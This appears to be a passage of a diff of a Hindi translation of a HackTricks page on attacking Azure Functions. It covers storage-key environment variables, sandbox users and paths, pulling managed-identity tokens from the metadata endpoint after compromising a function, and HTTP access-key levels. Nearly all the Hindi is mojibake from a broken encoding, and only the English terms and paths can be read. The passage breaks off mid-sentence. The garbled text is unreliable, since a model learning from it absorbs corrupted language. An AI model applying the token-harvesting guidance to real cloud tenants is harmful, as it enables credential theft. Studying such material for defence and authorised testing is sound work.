рдпреЗ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ **рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдбреЗрдЯрд╛ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдЯреЛрд░реЗрдЬ рдЕрдХрд╛рдЙрдВрдЯ рдХреА рдХреБрдВрдЬреА рдХреЛ рдкреВрд░реНрдг рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде** рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВред рдЗрди рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рднреА рд╣реЛрддреА рд╣реИ рддрд╛рдХрд┐ рд╕реНрдЯреЛрд░реЗрдЬ рдЕрдХрд╛рдЙрдВрдЯ рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред +рдпрд╣ рдРрдк рдХреЗ рдЕрдВрджрд░ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛ рд╕рдХрддреА рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ env рдЪрд░ **`AzureWebJobsStorage`** рдФрд░ **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (рдЕрдиреНрдп рдХреЗ рдмреАрдЪ) рдмрдирд╛рдП рдЬрд╛рддреЗ рд╣реИрдВред рдпреЗ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ **рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдбреЗрдЯрд╛ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдЯреЛрд░реЗрдЬ рдЦрд╛рддреЗ рдХреА рдХреБрдВрдЬреА** рдХреЛ рдкреВрд░реНрдг рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВред рдЗрди рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рднреА рд╕реНрдЯреЛрд░реЗрдЬ рдЦрд╛рддреЗ рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реЛрддреА рд╣реИред -рдпреЗ env рдЪрд░ рдпрд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдкреИрд░рд╛рдореАрдЯрд░ рдпрд╣ рднреА рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ Function рдХреЛрдб рдХреЛ рдХреИрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдпрджрд┐ **`WEBSITE_RUN_FROM_PACKAGE`** рдореМрдЬреВрдж рд╣реИ, рддреЛ рдпрд╣ рдЙрд╕ URL рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░реЗрдЧрд╛ рдЬрд╣рд╛рдВ рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ рдХреЛрдб рд╕реНрдерд┐рдд рд╣реИред +рдпреЗ env рдЪрд░ рдпрд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдкреИрд░рд╛рдореАрдЯрд░ рдпрд╣ рднреА рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдлрд╝рдВрдХреНрд╢рди рдХреЛрдб рдХреЛ рдХреИрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдпрджрд┐ **`WEBSITE_RUN_FROM_PACKAGE`** рдореМрдЬреВрдж рд╣реИ, рддреЛ рдпрд╣ рдЙрд╕ URL рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░реЗрдЧрд╛ рдЬрд╣рд╛рдВ рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ рдХреЛрдб рд╕реНрдерд┐рдд рд╣реИред ### **Function Sandbox** -Linux рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдЕрдВрджрд░ рд╕реНрд░реЛрдд рдХреЛрдб **`/home/site/wwwroot`** рдореЗрдВ **`function_app.py`** рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ (рдпрджрд┐ Python рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ) рдХреЛрдб рдЪрд▓рд╛рдиреЗ рд╡рд╛рд▓рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **`app`** рд╣реИ (рдмрд┐рдирд╛ sudo рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ)ред +рд▓рд┐рдирдХреНрд╕ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдЕрдВрджрд░ рд╕реНрд░реЛрдд рдХреЛрдб **`/home/site/wwwroot`** рдореЗрдВ рдлрд╝рд╛рдЗрд▓ **`function_app.py`** (рдпрджрд┐ рдкрд╛рдпрдерди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ) рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ, рдХреЛрдб рдЪрд▓рд╛рдиреЗ рд╡рд╛рд▓рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **`app`** рд╣реИ (рдмрд┐рдирд╛ sudo рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ)ред -рдПрдХ **Windows** рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ NodeJS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдХреЛрдб **`C:\home\site\wwwroot\HttpTrigger1\index.js`** рдореЗрдВ рд╕реНрдерд┐рдд рдерд╛, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо **`mawsFnPlaceholder8_f_v4_node_20_x86`** рдерд╛ рдФрд░ рдпрд╣ **groups** рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдерд╛: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`ред +рдПрдХ **Windows** рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдЬреЛ NodeJS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдХреЛрдб **`C:\home\site\wwwroot\HttpTrigger1\index.js`** рдореЗрдВ рд╕реНрдерд┐рдд рдерд╛, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо **`mawsFnPlaceholder8_f_v4_node_20_x86`** рдерд╛ рдФрд░ рдпрд╣ **рд╕рдореВрд╣реЛрдВ** рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдерд╛: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`ред ### **Managed Identities & Metadata** -рдЬреИрд╕реЗ рдХрд┐ [**VMs**](vms/index.html) рдореЗрдВ, Functions рдХреЗ рдкрд╛рд╕ **Managed Identities** рдХреЗ 2 рдкреНрд░рдХрд╛рд░ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ: System assigned рдФрд░ User assignedред +рдЬреИрд╕реЗ рдХрд┐ [**VMs**](vms/index.html) рдореЗрдВ, рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЗ рдкрд╛рд╕ **Managed Identities** рдХреЗ 2 рдкреНрд░рдХрд╛рд░ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ: рд╕рд┐рд╕реНрдЯрдо рдЕрд╕рд╛рдЗрди рдФрд░ рдпреВрдЬрд░ рдЕрд╕рд╛рдЗрдиред -**system assigned** рдПрдХ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рд╣реЛрдЧреА рдЬрд┐рд╕реЗ **рдХреЗрд╡рд▓ рд╡рд╣реА рдлрд╝рдВрдХреНрд╢рди** рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХреЗрдЧрд╛ рдЬрд┐рд╕реЗ рдпрд╣ рд╕реМрдВрдкрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрдмрдХрд┐ **user assigned** рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рдиреЗрдВ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ **рдХреЛрдИ рдЕрдиреНрдп Azure рд╕реЗрд╡рд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХреЗрдЧреА**ред +**рд╕рд┐рд╕реНрдЯрдо рдЕрд╕рд╛рдЗрди** рд╡рд╛рд▓рд╛ рдПрдХ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рд╣реЛрдЧреА рдЬрд┐рд╕реЗ **рдХреЗрд╡рд▓ рд╡рд╣реА рдлрд╝рдВрдХреНрд╢рди** рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХреЗрдЧрд╛ рдЬрд┐рд╕реЗ рдпрд╣ рдЕрд╕рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрдмрдХрд┐ **рдпреВрдЬрд░ рдЕрд╕рд╛рдЗрди** рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рдиреЗрдВ рдРрд╕реА рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ **рдХреЛрдИ рдЕрдиреНрдп Azure рд╕реЗрд╡рд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХреЗрдЧреА**ред > [!NOTE] -> рдЬреИрд╕реЗ рдХрд┐ [**VMs**](vms/index.html) рдореЗрдВ, Functions рдХреЗ рдкрд╛рд╕ **1 system assigned** рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рдФрд░ **рдХрдИ user assigned** рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдк рдлрд╝рдВрдХреНрд╢рди рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рд╕рднреА рдХреЛ рдЦреЛрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ рд╣рдореЗрд╢рд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реЛрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдХреЗрд╡рд▓ рдПрдХ Function рд╕реЗ рдХрдИ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рдХреЛ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВред +> рдЬреИрд╕реЗ рдХрд┐ [**VMs**](vms/index.html) рдореЗрдВ, рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЗ рдкрд╛рд╕ **1 рд╕рд┐рд╕реНрдЯрдо рдЕрд╕рд╛рдЗрди** рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рдФрд░ **рдХрдИ рдпреВрдЬрд░ рдЕрд╕рд╛рдЗрди** рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдк рдлрд╝рдВрдХреНрд╢рди рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рд╕рднреА рдХреЛ рдЦреЛрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ рд╣рдореЗрд╢рд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реЛрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдХреЗрд╡рд▓ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╕реЗ рдХрдИ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рдХреЛ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВред > -> рдпрджрд┐ рдХреЛрдИ system managed identity рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ user managed identities рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╕реЗ рдЬреБрдбрд╝реА рд╣реБрдИ рд╣реИрдВ, рддреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЖрдк рдХреЛрдИ рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред +> рдпрджрд┐ рдХреЛрдИ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ рдпреВрдЬрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рдиреЗрдВ рдлрд╝рдВрдХреНрд╢рди рд╕реЗ рдЬреБрдбрд╝реА рд╣реИрдВ, рддреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЖрдк рдХреЛрдИ рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред -рдЖрдк [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╕реЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рд╕реЗ рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╛ рдЖрдк рдЙрдиреНрд╣реЗрдВ **рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ** рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕рд╛ рдХрд┐ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ: +рдЖрдк [**PEASS рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕**](https://github.com/peass-ng/PEASS-ng) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╕реЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди рд╕реЗ рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╛ рдЖрдк рдЙрдиреНрд╣реЗрдВ **рд╣рд╛рде рд╕реЗ** рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕рд╛ рдХрд┐ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ: {% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %} -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдкрдХреЛ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ **рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрд╛рд╕ рдЬреБрдбрд╝реА рд╕рднреА Managed Identities рдХреА рдЬрд╛рдВрдЪ рдХреИрд╕реЗ рдХрд░реЗрдВ** рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рдЖрдк рдЗрд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ **рдХреЗрд╡рд▓ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдПрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛** (рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ рд▓рд┐рдВрдХ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ)ред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдкрдХреЛ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ **рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрд╛рд╕ рдЬреБрдбрд╝реА рд╕рднреА рдкреНрд░рдмрдВрдзрд┐рдд рдкрд╣рдЪрд╛рди** рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рдЖрдк рдЗрд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ **рдХреЗрд╡рд▓ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдПрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛** (рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ рд▓рд┐рдВрдХ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ)ред ## Access Keys > [!NOTE] -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╣реБрдВрдЪ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ RBAC рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдирд╣реАрдВ рд╣реИрдВред **рдлрд╝рдВрдХреНрд╢рди рд╕рдХреНрд░рд┐рдпрдг рдЙрд╕ рдЯреНрд░рд┐рдЧрд░ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ** рдЬреЛ рдЗрд╕реЗ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдпрджрд┐ рдПрдХ HTTP рдЯреНрд░рд┐рдЧрд░ рдЪреБрдирд╛ рдЧрдпрд╛ рдерд╛, рддреЛ рдЗрд╕реЗ **access key** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред +> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╣реБрдВрдЪ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ RBAC рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдирд╣реАрдВ рд╣реИрдВред **рдлрд╝рдВрдХреНрд╢рди рд╕рдХреНрд░рд┐рдпрдг рдЙрд╕ рдЯреНрд░рд┐рдЧрд░ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ** рдЬреЛ рдЗрд╕реЗ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдпрджрд┐ рдПрдХ HTTP рдЯреНрд░рд┐рдЧрд░ рдЪреБрдирд╛ рдЧрдпрд╛ рдерд╛, рддреЛ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ **рдПрдХреНрд╕реЗрд╕ рдХреБрдВрдЬреА** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред -рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЕрдВрджрд░ рдПрдХ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдмрдирд╛рддреЗ рд╕рдордп **HTTP рдЯреНрд░рд┐рдЧрд░** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ **access key authorization level** рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░реЗрдВ рдЬреЛ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред рддреАрди рд╡рд┐рдХрд▓реНрдк рдЙрдкрд▓рдмреНрдз рд╣реИрдВ: +рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЕрдВрджрд░ рдПрдХ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдмрдирд╛рддреЗ рд╕рдордп **HTTP рдЯреНрд░рд┐рдЧрд░** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ **рдПрдХреНрд╕реЗрд╕ рдХреБрдВрдЬреА рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╕реНрддрд░** рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдПред рддреАрди рд╡рд┐рдХрд▓реНрдк рдЙрдкрд▓рдмреНрдз рд╣реИрдВ: -- **ANONYMOUS**: **рд╣рд░ рдХреЛрдИ** URL рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдлрд╝рдВрдХреНрд╢рди рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддрд╛ рд╣реИред -- **FUNCTION**: рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╕реБрд▓рдн рд╣реИ рдЬреЛ **function, host рдпрд╛ master key** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВред -- **ADMIN**: рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╕реБрд▓рдн рд╣реИ рдЬрд┐рдирдХреЗ рдкрд╛рд╕ **master key** рд╣реИред +- **ANONYMOUS**: **рд╕рднреА** рдлрд╝рдВрдХреНрд╢рди рдХреЛ URL рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- **FUNCTION**: рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╕реБрд▓рдн рд╣реИ рдЬреЛ **рдлрдВрдХреНрд╢рди, рд╣реЛрд╕реНрдЯ рдпрд╛ рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВред +- **ADMIN**: рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╕реБрд▓рдн рд╣реИ рдЬрд┐рдирдХреЗ рдкрд╛рд╕ **рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА** рд╣реИред **рдХреБрдВрдЬреА рдХреЗ рдкреНрд░рдХрд╛рд░:** -- **Function Keys:** рдлрд╝рдВрдХреНрд╢рди рдХреБрдВрдЬреА рдпрд╛ рддреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдФрд░ рдЗрдиреНрд╣реЗрдВ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ **Function App рдХреЗ рднреАрддрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝рдВрдХреНрд╢рди рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕** рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдкрд░ рдЕрдзрд┐рдХ рдмрд╛рд░реАрдХ рдкрд╣реБрдВрдЪ рдорд┐рд▓рддреА рд╣реИред -- **Host Keys:** рд╣реЛрд╕реНрдЯ рдХреБрдВрдЬреА, рдЬреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдкрд░рд┐рднрд╛рд╖рд┐рдд рднреА рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, **Function App рдХреЗ рднреАрддрд░ рд╕рднреА рдлрд╝рдВрдХреНрд╢рди рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рддрдХ FUNCTION рдкрд╣реБрдВрдЪ рд╕реНрддрд░** рдХреЗ рд╕рд╛рде рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИрдВред -- **Master Key:** рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА (`_master`) рдПрдХ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдХреБрдВрдЬреА рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИ рдЬреЛ рд╕рднреА рдлрд╝рдВрдХреНрд╢рди рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ (ADMIN 